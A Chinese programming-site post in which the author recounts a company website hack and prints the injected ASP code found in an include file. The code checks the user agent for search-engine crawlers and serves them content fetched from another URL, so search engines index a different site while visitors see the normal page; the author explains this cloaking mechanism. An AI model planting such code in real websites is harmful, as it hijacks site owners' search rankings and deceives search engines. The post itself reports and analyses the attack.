当前位置:asp编程网>技术教程>Asp教程>  正文

一个asp木马代码程序

2011-09-21 13:34:56   来源:网络    作者:wangsdong   浏览量:1879   收藏

前些天,公司网站被黑了,用浏览器打开公司网站,却没有发现有任何异常。只是百度快照中被收录的网站不是我们的首页网站,是另一个公司的。我打开首页的asp代码,并且文件的修改时间都没有改变,在奇怪了。最后我在首页的一个包含页面中发现了,被修改了。代码如下:

<%
Dim agent,Bot
agent = lcase(request.servervariables("http_user_agent"))
Bot = ""
if instr(agent, "bot") > 0 then bot = "其它蜘蛛"
if instr(agent,"googlebot") then bot="google"
if instr(agent, "mediapartners-google") > 0 then bot = "google adsense"
if instr(agent, "baidu") > 0 then bot = "baidu"
if instr(agent, "sogou") > 0 then bot = "sogou"
if instr(agent, "yahoo") > 0 then bot = "yahoo!"
if instr(agent, "msn") > 0 then bot = "msn"
if instr(agent, "ia_archiver") > 0 then bot = "alexa"
if instr(agent, "iaarchiver") > 0 then bot = "alexa"
if instr(agent, "sohu") > 0 then bot = "sohu"
if instr(agent, "sqworm") > 0 then bot = "aol"
if instr(agent, "yodao") > 0 then bot = "yodao"
if instr(agent, "iask") > 0 then bot = "iask"
if instr(agent, "robozilla") > 0 then bot = "robozilla"
if instr(agent, "lycos") > 0 then bot = "lycos"
if instr(agent, "soso") > 0 then bot = "soso"


if Bot&""<>"" then 
response.write getHTTPPage(网址,1)
response.end
end if


Function getHTTPPage(url,Bytes)
On Error Resume Next
dim http
if Bytes=1 then
Bytes=GB2312
else
Bytes=utf-8
end if
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open GET,url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,Bytes)
set http=nothing
If Err.number<>0 then
Err.Clear
End If
End Function


Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

%>

(鼠标移到代码上去,在代码的顶部会出现四个图标,第一个是查看源代码,第二个是复制代码,第三个是打印代码,第四个是帮助)

看一下代码,发现没有什么特殊的功能,原理就是:当客户访问的时候,进入正常的页面;当蜘蛛访问的时候,它利用采集的原理得到指定网址上的html功能,显示另外的内容,这样蛛蛛收录的就是那个页面上的内容了,剩下你想让蛛蛛收录什么东西,就直接在那个页面上加连接就可以了。

关于我们-广告合作-联系我们-积分规则-网站地图

Copyright(C)2013-2017版权所属asp编程网